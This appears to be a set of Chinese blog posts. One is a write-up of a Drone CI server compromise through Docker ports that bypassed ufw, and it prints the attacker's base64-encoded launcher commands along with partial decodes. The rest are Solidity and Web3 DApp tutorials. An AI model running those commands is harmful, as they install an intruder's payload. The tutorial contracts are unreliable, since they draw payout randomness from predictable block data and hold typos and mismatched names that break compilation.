[{"content":"這篇文章記錄了一次被駭的經歷，並透過事件的發生，讓我對資安有了更深層次的了解。\n我的虛擬機(host在Linode上)近期一直發出99% CPU使用率的警告信，於是我登入機器並執行指令 ps aux --sort=-%cpu 查找異常。最終發現有兩個不明指令在背景執行：\nsh base64 -d \u0026lt;\u0026lt;\u0026lt; UEFUSD0kSE9NRS8uanVweXRlci9iaW46JFBBVEggJiYgUlVOTkVSPTEgJiYgd2hpbGUgWyAxIF07IGRvIFJVTk5FUj0kKHBzIC1lby\nsh base64 -d \u0026lt;\u0026lt;\u0026lt; ZXhwb3J0IFRFUk09eHRlcm0gJiYgbnByb2MgJiYgbWtkaXIgfi8uanVweXRlci9iaW4gLXAgJiYgLi9zZXR1cCAmJiAuL2NvbmZpZ3\n請問直接執行，如果真要執行請只要圈選 base64 後面那段文字就好，下面給大家看 base64後的結果\nPATH=$HOME/.jupyter/bin:$PATH \u0026amp;\u0026amp; RUNNER=1 \u0026amp;\u0026amp; while [ 1 ]; do RUNNER=$(ps -e%\nexport TERM=xterm \u0026amp;\u0026amp; nproc \u0026amp;\u0026amp; mkdir ~/.jupyter/bin -p \u0026amp;\u0026amp; ./setup \u0026amp;\u0026amp; ./confi%\n這是我第一次處理機器被入侵的情況，於是決定重置整台機器，並重新了解了一些防火牆的相關規範。以前我總是裸奔，只關閉了 password login，沒有任何其他的安全措施。這次重新安裝了 ufw 來增加防護，但是在 ufw default deny 的情況下，發現啟動 docker container 時使用 publish port 會有問題。舉例來說，當你使用以下指令啟動 docker container：\ndocker run -d -p 8080:80 nginx\nDocker 會繞過 ufw 預設建立的 iptables 規則，並在最上面建立一條 accept all 的規則。因此，即使在後面建立 deny all 的規則，也會無效。在這個例子中，這條指令對外開啟了 8080 port 和 80 port，這非常危險。所以可以做以下的修正:\ndocker run -d -p 127.0.0.1:8080:80 nginx\n強制並且明確指定 contaner 的 port \u0026amp; ip來源　測試的方法很簡單，只要分別用這句語法分開啟動後，透過從另一台機器 telnet 8080 port 就能知道 ufw 有沒有順利啟用了。\n後面就是開始收拾戰場了，因為我前面有擋一層 nginx ，所以理論上所有後面的服務都不需要被暴露出來，但因為沒有指名使用 127.0.0.1，所以之前都默默被暴露出來，把我的 drone \u0026amp; drone-runner，依依l設定完，重新上線。\n最後就是找 hacker 的入侵點，就是透過我的其中一台 drone ，註冊 cron ，並且執行上面指令。最後就進入 drone 裡面的 sqlite 清理垃圾。 如下圖\n","permalink":"https://blog.syhlion.tw/2023/03/analysis-of-drone-ci-docker-container-hack-incident/","summary":"\u003cp\u003e這篇文章記錄了一次被駭的經歷，並透過事件的發生，讓我對資安有了更深層次的了解。\u003c/p\u003e","title":"Drone CI Docker容器遭受駭客攻擊事件分析"},{"content":"很快的地獄般的鐵人賽終於要結束了，今天就來聊聊這30天的學習心得。\n其實一開始挑選這個題目時，也是無意間看到這個題目，雖然之前斷斷續續有走馬看花研究過幾次，但是其實都沒有自己實務上下來操作過，才決定強迫自己學習這門學問，參加鐵人賽。為了這次的鐵人賽，急急忙忙從書局買了幾本書回來參考，鐵人賽參加到現在，也累積了三次了，這次是唯一一次自己一點都不熟的題目，再加上工作上其實很多瑣碎的事情，回家還要顧小孩，所以基本上並沒有辦法在開賽前囤多少文章，都是每天看書寫學習心得。\n這次區塊鏈30天的整個學習下來，其實也了解了很多以前似懂非懂的地方，但也又多了更多不懂的地方，整個30天其實在自己的規劃裡面，有打算寫一個區塊鏈在博弈遊戲上面的應用，不過礙於篇幅不夠跟自己也還沒完全理解全部原理，就不好拿出來跟大家做分享。區塊鏈整體的發展，我覺得還是缺了一個殺手級的落地應用，雖然它的幣因為各種因素，現在蠻多國家都承認是有效貨幣。但那離接近一般民眾的應用，其實還是距離很遙遠的。但是 contract 的發展，我覺得是很有趣很有可看性的。\n最後這次鐵人賽，我們策動了公司 20個人一起參加，比去年殘念的 13人，又多上了7人，終於走到了30天完賽，我們夥伴寫了各個專長的文章，甚至有年資一年多的夥伴，也非常認真的寫，寫出來的水準讓我非常驚訝。而且這次鐵人賽也讓我理解到了鐵人賽的意義，像我們團隊最近正在研究 Machine Learning，透過鐵人賽這個比賽，我們看到了很多大神寫出來的 Machine Learngin 的文章，拜讀之後，收穫良多。那也有很多很有趣的主題，透過這個鐵人賽，讓一些各路的隱性大神都跑出來發文，學習到了不少東西。\n今年鐵人賽結束了！ 再會。\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day30-final/","summary":"\u003cp\u003e很快的地獄般的鐵人賽終於要結束了，今天就來聊聊這30天的學習心得。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day30] 最後的總結"},{"content":"今天來聊聊整個以太坊合約應用裡面一個很特殊的東西 token\ntoken 在區塊鏈裡面，我覺得翻譯成 代幣 會比較適合，而不是一般語言常用的翻譯 令牌，那到底它是什麼意思呢？\n簡單來說它也是透過合約去規範多少 eth 換多少 代幣，也可以規範整個代幣全部的總發行數量，至於這個代幣的數值，就是儲存在合約的紀錄中。講到這邊大家又會問？那是不是任何人都可以自己寫合約自訂自己的代幣？那這樣它有什麼貨幣效力呢？ 所以以太坊的合約規範裡面有設定一個東西，叫做ERC20，它是一個 interface ，只要符合這個 interface ，它就具備完整的貨幣交易機制。\n下面來看一下一個 ERC20 的 interface\ncontract ERC20 { //總代幣發行量 function totalSupply() constant returns (uint totalSupply); //owner戶口結餘 function balanceOf(address _owner) constant returns (uint balance); //傳送代幣到位址 function transfer(address _to, uint _value) returns (bool success); //從 a 地址 傳送代幣到 b 地址 function transferFrom(address _from, address _to, uint _value) returns (bool success); function approve(address _spender, uint _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } 只要 contract 中有實現上面的東西，它就是一個合法且具備完整交易功能的 token，透過這個 token 機制，可以使整個 contract 更靈活的應用。\n這種作法在很常應用在 ICO (Initial Coin Offering)，數字貨幣首次公開募資\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day29-dapp-token/","summary":"\u003cp\u003e今天來聊聊整個以太坊合約應用裡面一個很特殊的東西 \u003ccode\u003etoken\u003c/code\u003e\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day29] Dapp 實戰 何謂 token"},{"content":"今天來把剩下的留言板，前端的部分完成吧\n先看看 js 的 code\nimport Web3 from \u0026#34;web3\u0026#34;; import GuestbookArtifact from \u0026#34;../../build/contracts/Guestbook.json\u0026#34;; const App = { web3: null, account: null, meta: null, //初始化 start: async function() { const { web3 } = this; try { const networkId = await web3.eth.net.getId(); const deployedNetwork = GuestbookArtifact.networks[networkId]; this.meta = new web3.eth.Contract( GuestbookArtifact.abi, deployedNetwork.address, ); const accounts = await web3.eth.getAccounts(); this.account = accounts[0]; this.loadRandomWords(); } catch (error) { console.error(\u0026#34;Could not connect to contract or chain.\u0026#34;); } }, //重新載入文字 loadRandomWords: async function(number) { const { queryGuestbook, getSize } = this.meta.methods; const count = await getSize().call() const msgEl = document.getElementById(\u0026#34;msg\u0026#34;) if (count == 0){ msgEl.innerHTML = \u0026#34;沒有內容\u0026#34; }else{ let random_num = Math.random() * count const word = await queryGuestbook(parseInt(random_num)).call(); const msg = \u0026#34;內容:\u0026#34;+word[0] +\u0026#34; \u0026lt;br /\u0026gt; 來源:\u0026#34;+word[1] +\u0026#34; \u0026lt;br /\u0026gt; 時間:\u0026#34;+ formatTime(word[2]) msgEl.innerHTML = msg } }, //儲存文字 saveWord: async function() { const msg = document.getElementById(\u0026#34;wordArea\u0026#34;).value; if (msg.length == 0){ alert(\u0026#34;請留下文字喔\u0026#34;) return } let timestamp = new Date().getTime() const { save } = this.meta.methods; await save(msg, parseInt(timestamp / 1000)).send({ from: this.account }); this.loadRandomWords(); }, }; function formatNumber(n) { n = n.toString() return n[1] ? n : \u0026#39;0\u0026#39; + n } function formatTime(timestamp) { let date = new Date(Number(timestamp * 1000)) let year = date.getFullYear() let month = date.getMonth() + 1 let day = date.getDate() let hour = date.getHours() let minute = date.getMinutes() let second = date.getSeconds() let fDate = [year, month, day, ].map(formatNumber) return fDate[0] + \u0026#39;年\u0026#39; + fDate[1] + \u0026#39;月\u0026#39; + fDate[2] + \u0026#39;日\u0026#39; + \u0026#39; \u0026#39; + [hour, minute, second].map(formatNumber).join(\u0026#39;:\u0026#39;) } window.App = App; window.addEventListener(\u0026#34;load\u0026#34;, function() { if (window.ethereum) { // use MetaMask\u0026#39;s provider App.web3 = new Web3(window.ethereum); window.ethereum.enable(); // get permission to access accounts } else { console.warn( \u0026#34;No web3 detected. Falling back to http://127.0.0.1:7545. You should remove this fallback when you deploy live\u0026#34;, ); // fallback - use your fallback strategy (local node / hosted node + in-dapp id mgmt / fail) App.web3 = new Web3( new Web3.providers.HttpProvider(\u0026#34;http://127.0.0.1:7545\u0026#34;), ); } App.start(); }); 再來是 html code\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;留言板\u0026lt;/title\u0026gt; \u0026lt;link href=\u0026#39;https://fonts.googleapis.com/css?family=Open+Sans:400,700\u0026#39; rel=\u0026#39;stylesheet\u0026#39; type=\u0026#39;text/css\u0026#39;\u0026gt; \u0026lt;link href=\u0026#39;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\u0026#39; rel=\u0026#39;stylesheet\u0026#39; type=\u0026#39;text/css\u0026#39;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;留言區:\u0026lt;/h1\u0026gt; \u0026lt;div id=\u0026#34;msg\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34; onclick=\u0026#34;App.loadRandomWords()\u0026#34; class=\u0026#34;btn btn-primary\u0026#34;\u0026gt;更新\u0026lt;/a\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;textarea rows=\u0026#34;3\u0026#34; cols=\u0026#34;20\u0026#34; id=\u0026#34;wordArea\u0026#34;\u0026gt;\u0026lt;/textarea\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34; onclick=\u0026#34;App.saveWord()\u0026#34; class=\u0026#34;btn btn-primary\u0026#34;\u0026gt;送出\u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;script src=\u0026#34;https://code.jquery.com/jquery-3.1.1.slim.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;index.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; 最後再像之前一樣在 app 資料夾裡下\nnpm run dev 去 http://127.0.0.1:8080 就會看到下面畫面，留言板就完成了。\n上面的 example 有完整版在我的 Github\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day28-dapp-guestbook-2/","summary":"\u003cp\u003e今天來把剩下的留言板，前端的部分完成吧\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day28] Dapp 實戰 留言版 - 2"},{"content":"今天來規劃另一個題目區塊鏈留言板。\n留言板其實很簡單，但是會比昨天的投票系統結構稍微複雜一點，我們先來看看合約該怎麼寫。\n我們一樣先建立一個資料夾 dapp-guestbook ，然後進去資料夾裡面下\ntruffle init 透過 truffle 把目錄結構產生出來後，就可以進去 contract 資料夾，新增一個 Guestbook.sol，檔案內容如下。\n// SPDX-License-Identifier: MIT pragma solidity \u0026gt;=0.4.21 \u0026lt;0.7.0; contract Guestbook { //定義一個 struct 裡面會有文字、誰留言的、留言時間 struct Item { string word; address who; uint when ; } //定義一個 陣列，儲存上面的 item Item[] private allWords; function save(string memory s, uint t) public { allWords.push(Item({ word: s, who: msg.sender, when: t })); } 查詢陣列長度 function getSize() public view returns (uint){ return allWords.length; } 查詢留言板內的內容 function queryGusetbook(uint index) public view returns (string memory, address, uint) { //如果長度為0 則直接回傳 if(allWords.length==0){ return (\u0026#34;\u0026#34;, msg.sender, 0); }else{ Item storage result = allWords[index]; return (result.word, result.who, result.when); } } } 這樣我們就完成了一個留言板合約，明天我們來把剩下的 html \u0026amp; js 完成。\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day27-dapp-guestbook-1/","summary":"\u003cp\u003e今天來規劃另一個題目區塊鏈留言板。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day27] Dapp 實戰 留言版 - 1"},{"content":"延續昨天沒做完的議題，今天來把 js \u0026amp; html 補完，讓變成一個完整的 Dapp\n首先 html 的部分，請修改原本 app 底下的 index.html\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;活動票選\u0026lt;/title\u0026gt; \u0026lt;link href=\u0026#39;https://fonts.googleapis.com/css?family=Open+Sans:400,700\u0026#39; rel=\u0026#39;stylesheet\u0026#39; type=\u0026#39;text/css\u0026#39;\u0026gt; \u0026lt;link href=\u0026#39;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\u0026#39; rel=\u0026#39;stylesheet\u0026#39; type=\u0026#39;text/css\u0026#39;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;活動票選\u0026lt;/h1\u0026gt; \u0026lt;div id=\u0026#34;address\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;table-responsive\u0026#34;\u0026gt; \u0026lt;table class=\u0026#34;table table-bordered\u0026#34;\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt;姓名\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;票数\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;tbody\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;去烤肉\u0026lt;/td\u0026gt; \u0026lt;td id=\u0026#34;candidate-1\u0026#34;\u0026gt;\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;去逛街\u0026lt;/td\u0026gt; \u0026lt;td id=\u0026#34;candidate-2\u0026#34;\u0026gt;\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;去游泳\u0026lt;/td\u0026gt; \u0026lt;td id=\u0026#34;candidate-3\u0026#34;\u0026gt;\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;div id=\u0026#34;msg\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;candidate\u0026#34; /\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34; onclick=\u0026#34;App.voteAction()\u0026#34; class=\u0026#34;btn btn-primary\u0026#34;\u0026gt;Vote\u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;script src=\u0026#34;https://code.jquery.com/jquery-3.1.1.slim.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;index.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; 再來修改 index.js\nimport Web3 from \u0026#34;web3\u0026#34;; import voting_artifacts from \u0026#39;../../build/contracts/Voting.json\u0026#39; let candidates = {\u0026#34;去烤肉\u0026#34;: \u0026#34;candidate-1\u0026#34;, \u0026#34;去逛街\u0026#34;: \u0026#34;candidate-2\u0026#34;, \u0026#34;去游泳\u0026#34;: \u0026#34;candidate-3\u0026#34;} const App = { web3: null, account: null, meta: null, start: async function () { const {web3} = this; try { 這邊做合約初始化的動作 // get contract instance const networkId = await web3.eth.net.getId(); const deployedNetwork = voting_artifacts.networks[networkId]; //換成我們新增的 Voting 合約 this.meta = new web3.eth.Contract( voting_artifacts.abi, deployedNetwork.address, ); const accounts = await web3.eth.getAccounts(); this.account = accounts[0]; this.loadCurrentVoting(); } catch (error) { console.error(\u0026#34;Could not connect to contract or chain.\u0026#34;); } }, //查詢目前票數 loadCurrentVoting: async function (){ let candidateNames = Object.keys(candidates); const { queryVotes } = this.meta.methods; for (var i = 0; i \u0026lt; candidateNames.length; i++) { let name = candidateNames[i]; const v = await queryVotes(this.web3.utils.utf8ToHex(name)).call(); $(\u0026#34;#\u0026#34; + candidates[name]).html(v.toString()); } }, //投票 voteAction: async function (){ let name= $(\u0026#34;#candidate\u0026#34;).val() const { addVote } = this.meta.methods; await addVote(this.web3.utils.utf8ToHex(name)).send({ from: this.account }); this.loadCurrentVoting(); } } //這邊是原本的程式碼 window.App = App; //此段意思是判斷瀏覽器是否 ehterum的錢包，如果沒有的話，直接直連區塊鏈的位址 $(document).ready(function() { if (window.ethereum) { App.web3 = new Web3(window.ethereum); window.ethereum.enable(); // } else { console.warn( \u0026#34;No web3 detected. Falling back to http://127.0.0.1:7545. You should remove this fallback when you deploy live\u0026#34;, ); App.web3 = new Web3( new Web3.providers.HttpProvider(\u0026#34;http://127.0.0.1:7545\u0026#34;), ) } App.start(); }); 接下來在原本的 app 目錄裡面，下下面語法\nnpm run dev 一開始會出現要你連結錢包的帳號畫面，跟著按確定就好了。就會出現下面畫面就大功告成了，可以透過區塊鏈投票。\n完整的程式碼，我放在我自己的 github ，大家可以參閱看看。\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day26-dapp-voting-2/","summary":"\u003cp\u003e延續昨天沒做完的議題，今天來把 js \u0026amp; html 補完，讓變成一個完整的 Dapp\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day26] Dapp 實戰 投票系統 - 2"},{"content":"今天我們藉著昨天的 第一個 Dapp 來稍微修改一下，改成一個投票系統。\n首先我們先來嘗試撰寫這個投票系統的合約，我們先在原本的 contract 資料夾裡面，新增一個 Voting.sol的檔案\n// SPDX-License-Identifier: MIT pragma solidity \u0026gt;=0.4.21 \u0026lt;0.7.0; contract Voting { //候選提案列表 bytes32[] public candidateList; //紀錄名稱與投票的數字 mapping (bytes32 =\u0026gt; uint8) public votesReceived; //建構子 constructor( bytes32[] memory candidateNames) public { candidateList = candidateNames; } //檢查投票選項有效性 function validCandiate(bytes32 candidate) view public returns (bool) { for(uint i = 0; i \u0026lt; candidateList.length; i++) { if (candidateList[i] == candidate) { return true; } } return false; } //增加票數 function addVote(bytes32 candidate) public { //需要確認選項在不在 require(validCandidate(candidate)); votesReceived[candidate] += 1; } //查詢某選項的票數 function queryVotes(bytes32 candidate) view public returns (uint8) { //需要先確認選項在不在 require(validCandidate(candidate)); return votesReceived[candidate]; } } 再來部署之前，需要在合約做一個初始化的動作，把選項填入，進入到 migrations 資料夾，打開 2_deploy_contracts.js 修改裡面的檔案為\nvar Voting = artifacts.require(\u0026#34;./Voting.sol\u0026#34;); module.exports = function(deployer) { deployer.deploy(Voting, [web3.utils.utf8ToHex(\u0026#39;去烤肉\u0026#39;), web3.utils.utf8ToHex(\u0026#39;去逛街\u0026#39;),web3.utils.utf8ToHex(\u0026#39;去游泳\u0026#39;)]); }; 我們把選項初始化進去合約裡面，分別依序為 去烤肉、去逛街、去游泳。\n再來就能執行我們的編譯以及部屬的工作了。\n$ truffle complie $ truffle migrate 明天我們來談談 js \u0026amp; html 的部分怎麼做修改。\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day25-dapp-voting-1/","summary":"\u003cp\u003e今天我們藉著昨天的 第一個 Dapp 來稍微修改一下，改成一個投票系統。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day25] Dapp 實戰 投票系統 - 1"},{"content":"今天我們來嘗試看看部署一個 Dapp。要進入之前請先確保，有照著前兩天介紹的 metamask \u0026amp; truffle 都有安裝完了。當然 granache 也是不可或缺的。\n首先我們先做一個目錄叫做 example，然後進入目錄，執行 truffle 指令，如下\n$ mkdir example $ cd example $ truffle unbox webpack 就會看到 truffle 預設下載了它的 example code，接下來跟昨天介紹的 truffle 一樣，修改 truffle-config.js\ndevelopment: { host: \u0026#34;127.0.0.1\u0026#34;, // Localhost (default: none) // 可以先查詢看看 自己的 granache 裏面是設定多少 port port: 7545, // Standard Ethereum port (default: none) network_id: \u0026#34;*\u0026#34;, // Any network (default: none) }, 最後一樣就像昨天的介紹執行\ntruffel compile truffle migrage 會看到多了一個 app 資料夾，接下來進去裡面下指令\nnpm run dev 接下來打開瀏覽器輸入 http://127.0.0.1:8080 就能第一個 Dapp 。\n剛開始打開，就會看它會要你連結 metamask 的錢包等等，請照著指示設定就可以完成了。\n明天我們依照著個範例，延伸一個投票系統。\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day24-first-dapp/","summary":"\u003cp\u003e今天我們來嘗試看看部署一個 Dapp。要進入之前請先確保，有照著前兩天介紹的 \u003ccode\u003emetamask\u003c/code\u003e \u0026amp; \u003ccode\u003etruffle\u003c/code\u003e 都有安裝完了。當然 \u003ccode\u003egranache\u003c/code\u003e 也是不可或缺的。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day24] Dapp 實戰 部署第一個 Dapp"},{"content":"今天來介紹一下，要開發dapp 的另一個不可或缺的工具 truffle\ntruffle 跟之前介紹的 granache 是同一個團隊開發的，它主要能拿來讓你打包你的 web3.js \u0026amp; constract，讓你可以輕鬆部署到 granache 上面的開發鏈或是真實環境裡面的鏈。\n基本上它的安裝非常無腦只要你電腦裡面有 npm ，照著下面語法\nnpm install -g truffle 安裝完後，到你想要的目錄下\ntruffle init 目錄就創造出來了。 會產生三個資料一個檔案\n$ ls contracts migrations test truffle-config.js 接下來去contracts 資料夾裡會看到它內建產生的範例程式。我們先嘗試 complie 它看看\ntruffle complie 完成後會多出一個 build 資料夾。裡面就是我們 complie 出來的檔案，接下來我們嘗試部署上去試試看。\n打開 truffl-config.js ，會看到很多註解，把development 下面的參數，依照自己的環境修改如下\ndevelopment: { host: \u0026#34;127.0.0.1\u0026#34;, // Localhost (default: none) // 可以先查詢看看 自己的 granache 裏面是設定多少 port port: 7545, // Standard Ethereum port (default: none) network_id: \u0026#34;*\u0026#34;, // Any network (default: none) }, 再來只要下\ntruffle migrate 只要出現如下類似訊息\nCompiling your contracts... =========================== \u0026gt; Everything is up to date, there is nothing to compile. Starting migrations... ====================== \u0026gt; Network name: \u0026#39;development\u0026#39; \u0026gt; Network id: 5777 \u0026gt; Block gas limit: 6721975 (0x6691b7) 1_initial_migration.js ====================== Deploying \u0026#39;Migrations\u0026#39; ---------------------- \u0026gt; transaction hash: 0x9d88d667457f4c35761fffbfa928a2e544bd08592ec4e5deae3d8d8b429d7ce0 \u0026gt; Blocks: 0 Seconds: 0 \u0026gt; contract address: 0xcFFeC0035D4e41E132409Ec9D80157E106002D21 \u0026gt; block number: 2 \u0026gt; block timestamp: 1633053958 \u0026gt; account: 0xe6a2646C5EC728a7e3b7D37142E06f0Fa8170887 \u0026gt; balance: 99.99435082 \u0026gt; gas used: 191943 (0x2edc7) \u0026gt; gas price: 20 gwei \u0026gt; value sent: 0 ETH \u0026gt; total cost: 0.00383886 ETH \u0026gt; Saving migration to chain. \u0026gt; Saving artifacts ------------------------------------- \u0026gt; Total cost: 0.00383886 ETH Summary ======= \u0026gt; Total deployments: 1 \u0026gt; Final cost: 0.00383886 ETH 接下來可以去 granache 的 gui 介面去複查一下，會看到有帳號被扣款了，就代表成功了。\n","permalink":"https://blog.syhlion.tw/2021/10/2021-13th-ithome30day-day23-install-truffle/","summary":"\u003cp\u003e今天來介紹一下，要開發dapp 的另一個不可或缺的工具 \u003ccode\u003etruffle\u003c/code\u003e\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day23] Dapp 實戰 安裝 truffle"},{"content":"今天開始到結束，要進入到實際 Dapp 的應用了，但在應用之前要先會安裝 metamask。\n因為要能跟前面學的智能合約互動，就一定需要 metamask 。\n首先去 metamask 官網 去找你習慣的瀏覽器 plugin 。\n安裝完後啟動你的 metamask ， 然後需要接入前面安裝過模擬區塊鏈的開發環境 Granche\n打開 metamask ， 會如下圖\n裏面的 RPC URL 要填入 http://127.0.0.1:7545，不過這還是要看你的 Granche 是怎麼設定的。\n看 Granche 的設定如下圖\n最後只要匯入你 Granche 的帳號，就暫時享受億萬富翁的感覺了，\n記得要從 Granche 那邊隨意挑一個之前建立過的帳號，並且匯出私鑰，就可以了喔\n這樣就完成了 metamsk 的安裝了。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day22-install-metamask/","summary":"\u003cp\u003e今天開始到結束，要進入到實際 Dapp 的應用了，但在應用之前要先會安裝 metamask。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day22] Dapp 實戰 安裝 metamask"},{"content":"今天來聊聊我們的第三個案例。我們來做一個比大小的下注遊戲。\n情境 需要有兩個角色。\nGM 玩家 功能上則需要。\n下注 (讓玩家選擇大 or 小) 開獎 (判定玩家輸贏，並且依照比例分配獎金) 接下來，我們來看看下面範例。\n/ SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; contract BetGame { //GM address public owner; bool isFinshed; //紀錄玩家用的 struct struct Player { address payable addr; uint amount; } //存下大的玩家 Player[] big; //存下小的玩家 Player[] small; //下大的總金額 uint totalBig; //下小的總金額 uint totalSmall; uint nowtime; constructor () { owner = msg.sender; totalSmall = 0; totalBig = 0; isFinshed = false; nowtime = block.timestamp; } function Bet(bool flag)public payable returns (bool){ require(msg.value\u0026gt;0); Player memory p = Player(payable(msg.sender),msg.value); //透過bool true 表示下大 if (flag){ big.push(p); totalBig += p.amount; } else { small.push(p); totalSmall += p.amount; } return true; } function open() payable public returns(bool){ //開獎至少要遊戲開始後60秒 require(block.timestamp \u0026gt; nowtime+60); require(!isFinshed); //創造出 0-9的變數 0-4為小 5-9為大 uint points = uint(keccak256(abi.encode(msg.sender,block.timestamp,block.number)))%9; uint i = 0; Player memory p; if (points \u0026gt;=5 ){ for (i=0; i\u0026lt;big.length; i++){ p = big[i]; //給贏家 下注本金+照比例分配獎金 p.addr.transfer(p.amount+totalSmall*p.amount/totalBig); } } else{ for(i = 0 ;i\u0026lt; small.length;i++){ p = small[i]; p.addr.transfer(p.amount+totalBig*p.amount/totalSmall); } } isFinshed = true; return true; } } ","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day21-contract-example-3-betgame/","summary":"\u003cp\u003e今天來聊聊我們的第三個案例。我們來做一個比大小的下注遊戲。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day21] contract 案例3 - 比大小下注遊戲"},{"content":"今天來介紹第二個案例。今天的案例就以拍賣為情境設定\n情境 假設要制定一定拍賣場的合約，到底要怎麼定義呢？首先需要三個角色\n拍賣人 委託人 買家 再來需要一個競標的功能，可以讓買家出價，並且要在時間限定內，價錢最高者得到。下面我們來看看範例\n// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; contract auction { //紀錄賣家 address payable public seller; //紀錄最高買家 address payable public buyer; //紀錄最高出價金額 uint public auctionAmount; //拍賣結束時間 uint auctionEndTime; //拍賣是否結束 bool isFinish; constructor(address payable _seller,uint _duration) { seller = _seller; sellet = payable(msg.sender); auctionEndTime = _duration + block.timestamp; isFinish = false; } //競拍功能 function bid() public payable{ //確認拍賣還在執行中 require(!isFinish); //確認拍賣還在時間範圍內 require(block.timestamp\u0026lt;auctionEndTime); //確認你送的值有大於目前的拍賣最高價 require(msg.value\u0026gt;auctionAmount); //退錢給上一個買家 if(auctionAmount\u0026gt;0) { buyer.transfer(auctionAmount); } buyer = payable(msg.sender); auctionAmount = msg.value; } //結束拍賣 function auctionEnd() public payable{ //確認現在時間大於拍賣結束時間 require(block.timestamp\u0026gt;=auctionEndTime); //確認拍賣是否結束 require(!isFinish); //把拍賣開關關掉 isFinish = true; //把錢送給賣家 seller.transfer(auctionAmount); } } ","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day20-contract-example-2-auction/","summary":"\u003cp\u003e今天來介紹第二個案例。今天的案例就以拍賣為情境設定\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day20] contract 案例2 - 拍賣"},{"content":"接下來幾天會來模擬一下，實際合約的案例，來更深入了解一下 solidity 語法\n首先我們先設定一個 case\n情境 我們來實作發紅包的功能，那發紅包需要時做哪些功能呢？\n發紅包 搶紅包 退還 那我們就看看下面的範例\n// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; contract redpacket { //定義此合約發紅包的人 address payable public rich; //定義要發幾個紅包 uint public number; constructor(uint _number) payable { rich = payable(msg.sender); number = _number; } //取得發紅包的人身上餘額 function getBalance() public view returns (uint){ return address(this).balance; } //搶紅包 function stakeMoney() public payable returns(bool){ //紅包數須大於0 require(number\u0026gt;0); //取得餘額需要大於0 require(getBalance()\u0026gt;0); number --; //此方法是 random 100內的數字 uint random = uint(keccak256(abi.encode(block.timestamp,msg.sender,\u0026#34;rich\u0026#34;)))%100; uint balance = getBalance(); address payable someone = payable(msg.sender); //把錢給搶到紅包的人 someone.transfer(balance * random/100); return true; } //合約銷毀 function kill() public{ require(msg.sender == rich); 透過此function 可以拿來銷毀合約 selfdestruct(rich); } } 